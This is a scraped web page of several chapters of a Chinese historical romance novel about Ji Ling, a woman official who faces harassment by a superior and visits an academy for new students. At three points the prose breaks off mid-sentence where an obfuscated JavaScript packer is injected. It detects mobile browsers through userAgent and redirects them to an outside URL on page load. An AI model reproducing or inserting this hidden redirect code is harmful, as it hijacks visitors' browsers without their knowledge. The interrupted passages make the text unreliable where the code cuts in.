她生气地将手炉扔在地上,腾出手来用力拍打脸颊。 “季泠!不许哭!没出息!全是那个贱杂种的错!不是你的错!不许哭!” 偏偏她越是这样对自己说,委屈的泪水就越忍不住。 季泠死死咬住嘴唇,顶着刀风在冰天雪地中大步狂奔,意图让冷风将她脸上的泪全部吹干。 “那不是季大人吗?怎么跑这么快?身边还没人跟着。” 此时长街人迹罕见,览风坐在车前,实在不能不注意到街边那个身影。 徐行往前一探,撩开车帷,就见在他心头徘徊数日的人,此时正在雪地里不要命地奔跑,头上的风帽不停颤动着,快要掉下时,又被她眼疾手快地抓住了。 马车渐慢下来。 几乎同时,许是没注意脚下的路,她被什么东西绊了一下,重重地摔在地上。 “停下。” 长街空巷,青灯孤月,簌风静影。 黑夜里,两盏车前琉璃灯照出一方来路,他看着她许久,却不见她起身。 徐行察觉不对,跳下了车。 季泠正将脸埋在雪中,她要借这股刺痛般的冰寒,控制自己太过汹涌难抑的情绪。 积雪深深,她几乎要在其中睡着了,寒冷冻结她的知觉,她困倦得不想睁开眼睛。 下一刻,破雪而来的炙热贴在她的双臂上,她冷不丁被人拉了起来。 她警铃大作,正要挣扎,拳打脚踢,拉起她的人说了话。 “你怎么了?” 是徐行的声音。 她顺着徐行的力气站稳,将头埋下,欲让风帽挡住自己的脸,瞥见了徐行的马车后,扭甩开他的手,自顾自地爬上了车。 马车内暖意渐生,季泠蜷缩于窗边,仍不抬头,只死死地抠着自己的手。 徐行压住她的手,她的手太冰了,可徐行还未来得及惊异,季泠便惊慌地哆嗦了一下,随即毫不留情地打下。 季泠的反应太反常。 可他却不好多问,只在沉默中,轻轻将手炉塞进她手中。 “别揪了,皮揪烂了,到时候生冻疮就不好受了。” 季泠嗯了声,徐行便觉出异样。 “你哭了?” 季泠没理他,只将身子完全撇过去,背对着徐行。 徐行轻叹后,车轿内只留长久骇人的安静。 到了石竹巷后,季泠也未道别,直接跳下车往巷子里跑。 徐行伸出的手落了空,皱眉看向隐入巷中的背影,心中开始猜测。 览风斗胆加入其中:“少爷,季大人看起来,是受了大委屈。是不是哭了?” 徐行点点头,“她会受什么委屈?” “要属下看,季大人不会因为公事如此,必然是因为私事的。……季大人现在女子身份暴露了。据说,她的顶头上司,闫有德闫郎中,是个出了名了色痞子。前段时间,闫家新过门的第四任填房,年纪比季大人还小上几岁。季大人难免要和这样的人打交道...” 闫有德…… 季泠回了浮云堂后,摘下风帽,声音已经嘶哑:“白芨,替我放水吧,我累了。” 白芨看见季泠通红的眼睛和鼻头,不敢多问,立刻去替她准备。 林微正从户部回来,还未来得及问她今日怎么比往日早下值,派去的马车都未来得及接到她,就看见她脸上红红白白的,像是冻伤了。 “怎么将自己弄成这副模样了?” 林微立刻坐到季泠跟前,仔细看了看她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446324|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,又翻了翻她的手,就看见她将手上的皮都拽烂了几块。 “林微,我碰到了些腌臜事...” 林微呼吸一窒,腾地站了起来:“是谁!闫有德?!” 季泠闭上眼,倒在榻上,点了点头。 “你先别说话,你是跌在雪地里了吧?赶紧沐浴后,先睡去,我们明日再说。” 第二日到衙门,季泠话也少了许多,有人问起,她就用风寒搪塞过去,闫有德不知是因为受了惊吓还是什么缘故,告了今日的假,季泠松了口气。 她可没把握自己会不会怒上心头,真冲过去把他宰了。 季泠刚走出衙门,准备喊林微送件文书过来时,就看见览风在角落窜头窜脑。 “这个该死的徐行!”她内心暗骂,抬步而下。 “览风。” 览风才到户部衙门前,却没想到季泠就这样正巧走出来,着实是被她吓了一跳。 “你来替你少爷打探什么?我就在这儿,直接问吧。” 览风悻悻地低了头,下一刻,徐行就看见览风出现在一处无人经过的小径,身后是冷若冰霜的季泠。 “不必让你的人来费心打探,人来人往的留下把柄,也未免太明显些。” 徐行有些尴尬,关心则乱而已。 不等他说话,季泠直接开口:“我知道你想问什么,不就是昨日的事情。我可以告诉你。很简单,如你所见,我哭了。” 徐行往前走一步,季泠却有几分防备,立刻退后,抬头瞪着他:“别离我这么近。” 徐行抬起双手,向她示意他的毫无威胁:“发生了什么?可有我能帮得上的?” “没什么,被我们闫郎中摸了一下罢了。” 徐行难掩震怒,上步扬声:“什么?” 季泠又往后退了两步,表露出十足的抵触:“你想知道的,我都告诉你了。就当被猫挠了一爪,疼哭了罢了,不是什么大事。” “这不是大事,那什么是大事?” “徐先生,我是来做官的,不是来天天诉苦告状的。你既想打听,我也已知无不言,你可以收手了。” “还有,若是您大发善心,想替我出头,也断了这个念头吧。我会自己对付他的。” 季泠要树起浑身尖刺,她不允许任何人用这样的事当成她的弱点,她不需要任何人的帮忙与同情。 犯错的是闫有德,冤有头债有主,该怎么教训他,要由她自己说了算。 徐行立刻应下:“好,我不插手,也不过问。你……” “我很好,多谢先生关心。学生还有公务在身,恕不奉陪,先走一步。” 季泠的乌纱帽戴得端正,左右帽翅随着她的步伐轻轻跃动。徐行眉头紧锁,攥拳的力道不断加大。 闫有德……很好。 她有自保与反击的能力,不需要任何人的保护。但她也没说,他不能提前为她清除一些障碍吧? 徐行抬手,览风当即近身候令。 “找人盯着闫有德。这次做的谨慎些。” 今日,她看起来十分镇定,又有些过分冷静了。昨日,她跌在雪地里时,在想什么? 徐行难以控制自己不去想象,闫有德是如何色欲熏天,季泠又是如何艰难抵抗……想到最后,他的眼中,已凝铸冰刃。 公权不可擅作私器。 可他相信,闫有德,不可能完全干净。 徐行又想到那日,季泠来到行止斋时的模样。 那是她第一次,在他面前短暂地、明知不可为却情难自禁地暴露脆弱,也是她第一次在他面前落泪。 他原以为,季泠能为手刃昔日暗敌而无比快意,可他却忘记了,在踏入吞噬情绪的朝堂之前,她是一个情感多么饱满充盈的人。 她曾将喜怒哀乐全写在脸上,做任何事情都以头脑发热的无畏去冲闯。 这样性子的人,本来是不应该走入这样以无情自证狠利的地方。她既入了这漩涡,便必然要割肉剜心以获得无上权势。 而京城之内,她再无寄托了吧?钟荡云与何咨宁都已经不在京城了,那么,她难过的时候,该去找谁诉说? 徐行不可避免地想起,那日林清许的话—— “可她现在是个女人了,朝中的豺狼虎豹蠢蠢欲动,迟早会把她给吃了的。” 航青啊航青,你这条路走得太艰险,有些不必要的阻碍,完全可以由别人代劳。 征途漫漫,披荆斩棘的利剑,有两把才更有胜算。 63. 得胜于失美玉合双 季泠身份的争议渐渐被三个假日的庆贺掩盖。 可她的境况却是比曾经更为艰难。 第一年入户部时,她就因为不善言辞、不喜酒乐活动而渐渐被同僚排除在消息圈子之外,与闫有德关系不错的几人虽不至于明面与她为敌,可也只是泛泛之交。 去年,因为她与钟荡云的关系,以及书院之事,同僚不免暗中对她心生忌惮。 这一切,她不是感觉不到。可她实在不知道如何是好,只能尽力随着祝扶春一起,去维持关系。 借着几次公宴私席与登山游水,她好不容易融入其中,如今全因她一朝暴露而白做功夫。 她都是个女人了,那些人还有什么话可跟她说,还有什么经验可传授给她的? 只对她纷纷避之而不及。 二十出头的年轻人、朝中的第一个女人、爱出风头、不够谦逊、尽职勤恳的格格不入、言行不够周到圆滑、与他部上官关系过密、与顶头上司关系闹僵、与同僚关系惨淡、没有家族同窗相助…… 桩桩件件,她都犯了官场大忌。 元旦假中,季泠将自己关在浮云堂内冥思苦想数日,叹气连连。 “怎么?还没想好,年后以如何面貌回去吗?” 季泠握拳锤于掌心,终于下定决心。 林微见她似乎踌躇满志,大胆问道:“有主意了?” “是。” “说来听听?” “破罐子破摔。” “啊?”林微张大嘴,“你把自己关起来想了三四日,就想到这样的法子?” 季泠歪嘴挑笑,摇了摇指头。 “林微,你喜欢我吗?” 林微一阵恶寒,缩了缩脖子:“什么鬼问题?” “不是,我的意思是,你当年,见到我、与我相处一段时间后,你会因我这个人而喜欢我吗?” “那是自然,你仗义、诚挚、爽快,似乎任何事情都难不住你,你总有无尽活力,叫人只在你身边停留片刻,便无断生出蓬勃昂扬之气。” “那就说明,我其实不差劲。既然如此,我何必继续改变自己,去逢迎那些人的喜好?” “可你若不改变,你又如何获得他们的认可呢?你毕竟是官员,在官场,会做事的不如会写文的,会写文的不如会做人的。” 季泠踌躇满志道:“一个书院之中,最受欢迎、最得器重的,是最会说话的那个吗?” 林微想想,似乎也并非如此。 “那便对了,我不要最得人心,略得即可。如何略得呢?成为最有本事的那个,就行了。在书院之中,哪怕三甲之人再如何落落寡合,其他人还是忍不住靠近他们,想方设法与之结交。” “你的意思是,再不掩藏自己了?” 季泠点头,双眼明亮。 “女子身份如何?闫有德的黑手又如何?他们妄想以此击溃我,让我麻溜儿地滚出男人的朝堂?做梦!我偏不!” 季泠激动地在浮云堂来回踱步,愈走愈快,愈说愈急,几乎要磨出几点火星子,自己便热烈绽光起来。 “这个世上,没有任何人与事能将我击倒,除了难以动摇的权力。所以,我要抢占先机,掀翻它,再握在自己手里。” 季泠神采奕奕,身侧不通政事的白芨与白蔹都免不了被鼓舞。 “就是!我们大人是顶厉害的人!才不会被他们那群酒囊饭袋打倒!”白蔹扬起下巴,满脸骄傲与得意。 季泠笑着看去,狠狠点头:“从前为了装作男人,我免不得装得谨小慎微,如今既然都暴露了,我又何必继续?他们想看我承受不住压力,想叫我因恐惧而退缩,那绝不能够!这回,我便以本来面目回去,将压抑本性的气力全投入公事之中。若我政绩昭彰,你说,他们还会对我避之不及吗?” 林微笑道:“那便转而赞你个性鲜明,不随大流。” “正是如此!” 年初双节已过,季泠出现在众人面前时,还是那身青袍。 只是,与众人预料不同的是,她在公务之上再不退让,愈发雷厉风行、说一不二,不容任何人置喙她的女子身份。 她会听到,身边的人便会以“你这样的,竟是个女人”此类的话来恭维她的果决。 季泠怒目而视,终于找到良机反驳正声:“怎么?你们男人圣贤书读了这数十年,对世间万物的衡量评判就如此狭隘,女人只能是温柔小意、轻声细语的?就许树有千种,花有万朵,就许你们男人随心所欲、各有模样,就不许我们女人肆意张扬了吗?” 而被她怒怼的人却张口半晌,想不出任何反驳之言。 众人多说,她在户部越来越横行霸道,女子身份被揭开后,她几乎就像露出本性,训斥起人来就像是用绣花针扎进指甲缝中,带来一种具体而专注的疼痛。 祝扶春对这种感觉尤为明显,他现在好像说什么都成了错,一不小心就踩到季泠的尾巴上,让她张牙舞爪。 “不是不是,执庸你又误解我。” 季泠听到“又”这个字,明白自己又没控制住戾气,提手运气,深呼吸了几下,让自己平复情绪。 “抱歉扶春兄,是我不好,最近被这些杂事惹得心烦。” 季泠说完这句话时,自己也呆了一瞬。 她在节时想得挺美,可真回到户部大展身手起来,却没她想得那么顺利。 她要忙的公务实在太多了,要批呈状,写文书,阅故牒,进奏疏,还要看账簿,核名实,稽疏漏,勘误错,更要跟进书院建设、生源、财政等安排,年后一月,她夜夜点灯熬鹰。 而在此繁忙诸事之中,众人对她的认可却因她的女子身份而瓦解。她想力拔头筹得到簇拥,可却并非一日之功,现在她做事左右掣肘,就因为同僚皆不信任她的能力。 她想要斐然政绩,为了史书青册寥寥几笔给她兴造的美梦,她便要殚精毕力。 她难免烦躁起来。且就在刚刚,季泠突然意识到,她的变化远不止如此。 她似乎近两年常说这些字眼——心烦、头疼、杂事、烂事,诸如此类。 她这么快就厌烦了户部这些永不消停的公务?可挥笔舞墨,尽抒己功,这曾经是她梦寐以求的生活啊。才不到三年,她竟然就变了,究竟是哪里变了? 祝扶春反来安慰她:“事情总是做不完的,你越做,就越多,总有问题,总有错处,可人总该休息。今年的元旦元宵,你定也是躲在家里看公文账册吧?” 季泠抿唇,微微点头,嗯,也算是在处理公务吧,在哪儿就不好说了。 “看吧!你不是钢铁草木,七情六欲,总该有地方发泄的。你成天伏在案前,看着一堆眼花缭乱的数字,可不是心烦意乱了?眼下春景宜人,不如找个空,咱们出去走走。” 季泠突忆起当年在宣大时,抬头是辽阔的天,前方是广袤的地,似乎心境也因而豁达,多了几分畅快无拘。 如今天天不是户部衙门就是浮云堂书房,确实是把她给闷坏了。 “那该去哪儿呢…”季泠思忖中,随手翻着公案上的《中庸》,突然想到一个好去处。 “后日吧,后日休沐,我们去京郊。” 祝扶春见她有了主意,已然展露期盼笑颜,也因她而笑:“好,咱们就去京郊。” 自从去年经由林清许的点拨,又借着假期闭门剖心几日,徐行终于算是领悟了情道。 只可惜,这一月来,他几乎见不到季泠。 季泠也不知在忙些什么,而他的吏部也并不轻松。陛下逐渐开始提拔亲信,为汉王擢选良材,以佐其长了。而这其中,就有不少寒门子弟,背景干净,忠直无二,可堪为用。 毕竟,世家庞杂,恐生二心,汉王难以驾驭。可寒门子弟,权势甚微,还需时日。 兴许这就是皇上愿意冒险选用季泠与开设华峰书院的原因。 想到季泠,徐行又不免忧愁。 他该如何与季泠说清楚呢?他们如今几乎没有公事的交集。 书院已经落定了,季泠所辖之事与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446325|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又少沟通,秋粮起运,她便更忙了,每回下朝,他一转头,只能见那青影风风火火地刮出宫门,又回到户部衙门中去。 私事便更不必说了,若非身份之故,季泠怕是直接睡在户部衙门里,如今哪里有私事能请得动她的? 林清许看着他们两人也实在有趣:“要我说啊,你们俩和还真是般配,平日料理公务的那股聪明劲儿都哪去了,眼睛心头都像被大雾蒙住似的,看也看不清,想也想不明的。你愚钝,季执庸比你更愚钝。” 徐行扫他一眼:“你不愚钝,看得透彻明白。和我一般大的年纪,不照样孤家寡人一个?我看,你父亲比我父亲更着急才是。” 林清许黯然:“我也想啊,可惜不行。” 徐行见他突然落寞,奇怪道:“什么不行?” “没什么,没我喜欢的,我不想将就,也不想耽误其它姑娘,所以不行。总归我大哥已经有了孩子,我父亲倒也没那么在意我了。只是,你徐家可就你一个啊。” “我该怎么做才能让她想明白呢?”徐行又绕回自己的问题上。 “你想娶她?” “这是自然,不然我来找你问这么多做什么。” 林清许抖开扇子,逍遥地扇了扇:“我看难。” “为何?可我们两情相悦。” “那是你以为的两情相悦,季执庸知道吗?她既不知道你喜欢她,也不知道她自己喜欢你。” 林清许想了想,却又觉得哪里不对劲:“而且,你怎么知道,她就喜欢你了呢?没准是你一厢情愿呢?我看你们平日私交也不多啊?就理个书院,就看对眼了?” “这世上,唯有两件事,最难掩藏。” “什么?” 徐行胜券在握般笑了笑:“喜欢与厌恶。” 林清许睨着他:“切,尽说些酸话。我就没看出来她喜欢你,倒是你自己独独在这儿唱大戏般幻想。若是朝中同僚知道,素来清心寡欲又运筹帷幄的徐大人,关起门来却在冥思苦想着怎么获得季执庸的青睐,怕是贻笑大方了。” 徐行不欲与他言说过多,虽借着与林清许请教,可他只是想安自己的心。 “别说你看不出来,怕是她自己,都不知道呢……”徐行叹道。 林清许见他为情所困的模样,实在是有趣之极。 “从前从不见你对什么上心,说要对付谁,你也摆一副事不关己的态度。怎么,如今转性了?”林清许大为惊异,连连摇头,“你在这儿郎心暗许的,季执庸可还全然不知呢!” “她心思敏锐,我也点她一下,迟早她会想明白。”徐行有这个信心。 林清许却给他泼一盆凉水:“即便她知道你们两情相悦又如何?情爱与婚姻并不相同。她是多么审时度势的一个人,会甘愿嫁给你,离开朝堂?” “谁说嫁给我后便要离开朝堂?她大可以继续干她的事业,我还能襄助帮扶,为她扫清障碍。” “你想得太少了润旻。她一个女人,爬到现在的位置,全然靠的自己。她牺牲了一切,只换得这一件珍视的东西。若是她要嫁给你,她不得已要有所舍弃,要卷入你的家族之中,处理你后宅之事,甚至这辈子都会被人冠上徐夫人的名头,这些都是她不想要的,只会成为她的桎梏,绊住她前进之路。以季执庸的性子,她宁愿痛苦,也会将这一切都斩断,甚至为了彻底结束,而选择跟你再无瓜葛。” 林清许就是这样过来的,他痛彻心扉,心知肚明。 徐行沉思道:“是我考虑不周,我该先将我们之间的所有阻碍,全部清除。” 林清许看他这幅模样,知道自己话讲的太重了,还是要给他一点希望:“倒也不至于全无可能,感情不就是这样,在彼此都能包容的范围内,你们两人各退一步,你替她多周全一些,她为你多妥协一点,兴许合计得当,得胜于失,这也是说不准的事情。” “得胜于失。”徐行喃喃一笑,就该如此才是。 季泠若是和他成亲,两人合该得胜于失,美玉合双。 64. 华峰书院会见新人 后日清晨,季泠带着林微骑马过了长街,往京郊走去。 路过檀山巷时,两人身影一闪而过,抱月问道:“诶?那不是季大人和林姑娘吗?这一大清早的,往哪儿去?城外吗?” 览风一听,耳朵立刻竖起,忙不迭地跑到巷口。“还真是季大人。”想了一瞬,立刻就往宅中走去。 京郊龙华寺下,祝扶春只看见季泠穿着素綦色蝙蝠团纹曳撒,骑马朝他奔来,张扬明媚。 季泠利落地拉住缰绳,翻身下马,祝扶春笑着迎上去,缰绳在他手心绕了几圈,将马牵住。 “你今日怎么骑马来?” 季泠拍了拍手,整理着因为骑马被压皱的衣服:“不是踏春吗?总该多些活动。” 祝扶春拴了马,和她一起进了龙华寺。 季泠请了一柱香,站在大雄宝殿之外,将香顶于额前,平行于地,先朝天拜三拜,后又转身到殿内将各路神仙都拜过,闭眼祈祷着,插了香,双手合十,再深拜一回,才走出来。 祝扶春看着站在铜炉边烧着元宝的季泠,猛烈的火光照着她的侧脸,脸上的绒毛泛出点点金光,将她与身外的一切都隔绝开来。 “你刚刚在拜什么?” 季泠专注地将手上粘在一块儿的元宝分开,一叠叠伸入火中,丝毫不畏惧突然僭越的火星会烫到她。 “国泰民安。” 祝扶春好奇地凑近她,从她手中接过一沓元宝,问道:“怎么是求这么虚幻的东西?不为你自己求点什么?” “应无所住,而生其心。我若想要什么,只向内求。” 祝扶春若有所思,随她一起看着元宝被卷入火中,舒展的黄纸逐渐被吞噬,蜷缩成一块儿黑末,在佛门春风之中无依漂浮,旋即消失不见。 祝扶春站起身拍了拍身上沾染的黑灰,正想替她也扫去,却被林微抢了先。他百无聊赖地负手打量四周,许多来礼佛的夫人小姐都往后山去了。 据说后山风景很好,泉水筝筝,不如我们去看看?” 季泠否决了他的提议:“不去后山,我们去另一个地方。” “哪里?” “华峰书院。” 祝扶春无奈地看着她:“说了来踏青,你怎么又去办公事。” 季泠已然抬脚往书院方向走去:“谁说是为了公事的?你还没去过华峰书院呢。那儿的风景秀丽,后头有一处小潭,种着一圈毛竹,还有一处八角亭,我们去那儿坐坐。” 祝扶春见她都已经安排好了,还有什么可说的,他如今可是半点也不敢置喙她的决定,只好内心偷偷叹口气,又快步跟上两人。 季泠走进书院已经熟门熟路,从选址动工到开始招生讲学,她已经来了多次。 去年春天来时,这里还是一堆的木桩尘屑,如今已经是另一番好景致了。 今日正好是学生假日,连屋学堂静谧无声,只听见热闹嬉笑从远一些的地方传来,那是学生们的斋舍。 季泠听见这样青春又欢乐的笑声,似乎感觉又回到了七八年前,那时候她和何咨宁、钟荡云几个姐妹也是这样肆意烂漫,与世无争又坦荡开怀。 季泠低头前行,难以自抑地怀念起旧日时光。林微与祝扶春一左一右跟在她身边。 那股清泉流动般的少年气息被逝去的风吹远了,只剩下春鸟鸣叫,树叶翕动的声音。 走到书院后处,绕过一片竹林,就到了季泠说的那处小潭,祝扶春已经看见了掩藏在一排竹子之后的亭尖。 三人慢慢踱步,从犬牙交错的小潭走向八角亭。 “今日云景好,水绿春山明。”季泠看着绿潭,刚感叹一番,亭子中的一道柔声与她的声音默契相汇与那排毛竹之上。 林微惊讶:“亭子里有人?” 季泠伸头望去,亭中说话之人循声走了出来,一袭缥色山水纹直身,诞姿丰容,颀比修竹。 几乎与八年前的那个夏天别无二致。 不同的是,他今日戴了一顶蒙漆纱大帽,更多了几分雅士的潇洒风流。 季泠顿住脚步,微张了张嘴,竹叶尖在春风里轻摆,挠过她的皮肤。她好像坐在一只秋千上,荡起前是此刻,落下后却是昔日。 直到她看见他帽檐之下的笑。 她第一次看见他戴大帽,往常所见,都是官帽。原来长的好看的人,带什么帽子都一样的好看。 季泠终于回过神来,眼下的她是户部主事,不是当年那个毛躁的学生了。 可她嘴上仍然失了分寸,当即脱口而出:“先生?” 祝扶春用余光看了季泠一眼,随即拱手:“徐大人。” 徐行对着他们微笑点头,侧身示意道:“来亭中坐一坐?” 季泠却犹豫不前,她总感觉徐行的眼神不对劲。不是在看着他们三人,而是独独盯着她一个。可当她壮起胆子迎上他的目光时,却发现是她想多了。 她刚想开口回绝,祝扶春却率先应下,继而往亭中走去。 季泠回头看了眼林微,眼睛疯狂乱眨:“咋办啊!我不想去!” 林微无奈地牵起嘴角,也以眼神回复她:“徐大人在盯着我们呢!刀山火海也得去了!” 林微瞧着她嘟着脸,丧气地闭了闭眼,松了脊背,垂头任命地走去。 徐行却俨然东道主般,就站在亭子边等着她们二人。季泠不得不与他擦肩而过,别过脸只盯着林微。 走近一看,亭中还有三人,季泠立刻端起身份,又恢复了体面。 “这位是季大人,祝大人,林姑娘。”徐行落座后,先向三人介绍,三人立刻起身向他们行礼。 靠近徐行的是一个青年男子,模样端正,神情却有几分严肃。与他们二人相对的是两位姑娘,一个高些,生了张鹅蛋脸,神采奕奕,让季泠仿佛看见当年的自己。另一个矮些,圆脸杏眼,却不是乖巧的气质。 季泠和林微分别捡了她们两人边上的石凳坐下。 如此一来,季泠就可以与祝扶春贴着坐了。可这样的结果就是,她不得不正面对上徐行的脸。 徐行向他们一一介绍:“这位是章钧龄,是咱们新科进士,路上正巧碰见了,就结伴同行前来了。说来也巧,他之后要去户部观政的,就在你的手下。”说完,徐行看了看季泠。 季泠惊讶:“在我手下?怎么没人知会我。” “才定下来的,还没过文书。” 季泠仔细打量了这个青年,似乎比她还要大几岁,看起来倒是可靠稳重的,不骄不馁,徐行选人的眼光不错。 沈赟偕一事后,季泠在选人看人上就多少有些顾及,若是一人满腹才华却心思不正,招来只会平惹是非。 “这两位姑娘呢?” 季泠看着身边的两位姑娘,莫名生出一些好感,很愿意和她们亲近交谈。 “她们二人都是前不久才选进来的女学生,是这一批最出色的。你也见过岁试成绩,前三甲中的两位女子,就是她们。” 季泠一听,立刻来了兴趣,先问过她们的姓名籍贯。 靠近她的圆脸姑娘先介绍了自己:“季大人安好,学生名为蓝昭衡,是建州府人士。” 季泠眼睛放光,看了一眼徐行,徐行笑着对她点头,“是从枫漈书院中来的。” “枫漈书院如今真是人才辈出啊。” 徐行举杯掩饰住笑意,季泠这究竟是夸这位学生,还是夸自己呢。 季泠注意到她头上的银饰,以及衣裳上的纹样,好奇地问:“你是畲家姑娘?” 蓝昭衡点点头:“学生在畲乡长大,母亲是畲家人。” 祝扶春看着她们俩:“畲家人?” 季泠点点头:“建州有畲乡,是畲家人最多的地方。她们以母为尊,常以山林中结竹木障覆居息为輋。” 祝扶春却不知道这点,只觉得惊奇,竟然还有以母为尊的地方。 蓝昭衡略有些紧张,可实在压不下对季泠的钦慕:“学生早闻季大人也是建州人士,下月三月三,我们准备一块儿做乌米饭。不知能否有幸,请季大人一尝?” 乌米饭啊...她确实很久没有吃到了。 “自然,到时候,我定会来你们这儿讨这份乌米饭。” 两位女学生都在,季泠也不能厚此薄彼,接着询问另一位高个姑娘。 “季大人安好。学生名为楚陵游,是由凤阳府而来。” 季泠敏锐捕捉到:“凤阳府?何大人那儿来的?” 楚陵游点点头:“正是,何大人见到学生时,只说一句,学生像她一位故友,日后必定会有光明大道,叫学生来参加华峰书院入学试。” 祝扶春摸不着头脑:“何大人?凤阳府哪位何大人?” 徐行却是早已明白,这姑娘原来是何咨宁为季泠选的。 年前,何咨宁已经从庐州府调往凤阳府了。 季泠端详着楚陵游,其实五官与她并不相似,可坐在那儿,无端就感觉是八年前的她,那时候她还没见过什么风浪,还在建州做着最出色肆意的学生,日日拉着何咨宁到书院后的小山丘和八角亭边耍乐,看见书中描摹的每一处山川都无比向往。 时过境迁,她已经不复当年心境了。 她注意到楚陵游的圆领襕衫,宽袖皂缘,皂条软巾垂带,询问她:“这是你们书院的衣裳吗?” 楚陵游和蓝昭衡点点头,“先生说,女子虽然得了和男子一样的机会到此学习,但不能红妆袄裙,看起来太怪异了。最后命我们这些女学生也仿照男学生的模样,着襕衫,戴方巾,看起来利落些。” 这话虽然意思没错,可是季泠总觉得不畅快,她无中生出一些悲哀:“什么时候,女子不再是因为模样、性格与男子相似,就能被人看重和称赞呢?” “待到她们和你一样,堂堂正正地走进朝堂之中,为你们女子开一条自己的路,定自己的准绳,写自己的传书。”徐行的声音温柔却有力,淌进场上四位姑娘的心中,她们都抬头看向徐行,点了点头。 章钧龄还要准备明日观政报道的事宜,与徐行、祝扶春、季泠说了缘由,先告退了。 剩下六人聊了聊当下书院的状况,季泠和徐行又多问了几句她们的体会与建议,见天色不早,也起身离开。 楚陵游和蓝昭衡站在亭中,前方小径上,季泠大方地站在徐行和祝扶春之中,两人相视一笑,紧紧地牵着彼此地手。 一人眼中流露出艳羡:“我们什么时候才能成为季大人这样的人物呢?能够毫无惧色地站在男人中间,让所有人都敬她三分。” 另一个姑娘捏了捏她的手,语气里满是希望:“会的!总会有那么一天。季大人是第一个,我们便是第二个第三个。日后熠熠星光,终会有属于我们两人的璀璨。” 哪怕很微弱,只要够多,就能足够耀眼。 风掠深潭,竹林簌簌,姑娘头上的银步摇也在铃铃作响。 天与人共春。 徐行、季泠和祝扶春三人走着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446326|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走着,季泠就走到了最边上,徐行地位非凡,自然位居其中。 她拉着林微的手,紧紧攥住。 这气氛也有些太怪异了,怎么没人说话。她往后瞟了一眼林微,林微也很无奈地回了个眼神,她也不知道怎么回事。 祝扶春的开口打破了尴尬的沉默。 “执庸。” “嗯?”季泠转头看向他。 “四季流转,你喜欢哪一季?” 季泠爽朗一笑:“秋天,我喜欢秋天。” “为什么?竟然不是春天吗?之前你常常赞颂春天。” “秋日凉爽,有丰收的喜悦。是希望的季节。”最重要的是,她就在这个希冀满盈的日子中诞生。 “可自古逢秋悲寂寥。” “但我言秋日胜春朝。心有悲戚,看日升也觉得太阳针对,看花盛也觉得自己飘零。心境而已。” 祝扶春不服气,故意要再扯一个旁观者进来:“徐大人,您怎么看?四季之中,春秋两季,哪个更好?” 徐行本只旁观,未曾料到,祝扶春也敢随意抓他入场。 他敛下沉思,只答:“我亦喜秋日。” 季泠欣喜嚷道:“你看吧!我胜了!” “怎会喜欢秋日,秋日过后,万物凋零,实在不是好兆头。” “初秋傍晚的暴雨,能涤荡一切脏污尘土。既留了几分夏季的热烈明媚,又可享受秋季泠风四起,故而我喜欢。” 季泠突然听到自己的姓名,心头一颤,可能领子没缝好,翘起的线头与衣边蹭得她后脖颈皮肤有些发红了。 她猛然抬头看向徐行,黄昏缓流般的光晕下,她只能看见徐行似有若无的笑停留在嘴角。 季泠抿了抿唇,颇感焦躁。她想走快些,赶快骑上马,在驰骋间吹去不安,回到浮云堂中,她熟悉的地方,回到账册里,是切实的数字。无论如何,总归是她能够掌控的世界。 而不是像现在这样,走一条似乎没完没了的路。 真是奇怪的很,明明进来时,这条路没有这么长的,可现在,她感觉走了好久,竟还未走到书院门前。 可徐行既已为首,书院内外人来人往,祝扶春又在一旁,她便不能擅自越过他去。若是被御史知道了,又要参她不识礼数,以下犯上。 唉,等她以后升了官,穿上绯袍,身后也有一群喽啰时,她一定要走得快些,闲庭信步的,真是会把急性子给逼疯不可。 季泠原本还担心,章钧龄年纪不大,又是官家长大的,入在她的门下,怕是会眼高手低,难以驾驭。 直到章钧龄来了之后,季泠不得不感叹,吏部之人慧眼如炬,真是替她选了个极佳的左膀右臂,与祝扶春相比,也不算逊色。 刚开始几月,季泠比以往还辛苦几分,要兼顾着领章钧龄熟悉各类人物、各种事务。 章钧龄悟性高,又用心,她教过两三回,他就能掌握了,不必她多费口舌,白费力气。 季泠给章钧龄在自己的公案桌对面也支了一张小案,让他有个正儿八经的办事地方,若碰上不懂的,还能及时来向季泠请教。 现下有了章钧龄,她就可以支使他去找闫有德沟通,省的自己一见那老色胚就来气。 不知道章钧龄跟闫有德说了什么,此次确实让闫有德老实地将上月的湖广账册交了出来,替她省去不少麻烦。 季泠看着对面章钧龄忙碌的身影,忍不住跟林微偷偷说:“他这样厉害,再过几年,我的位子都要给他顶替了。” 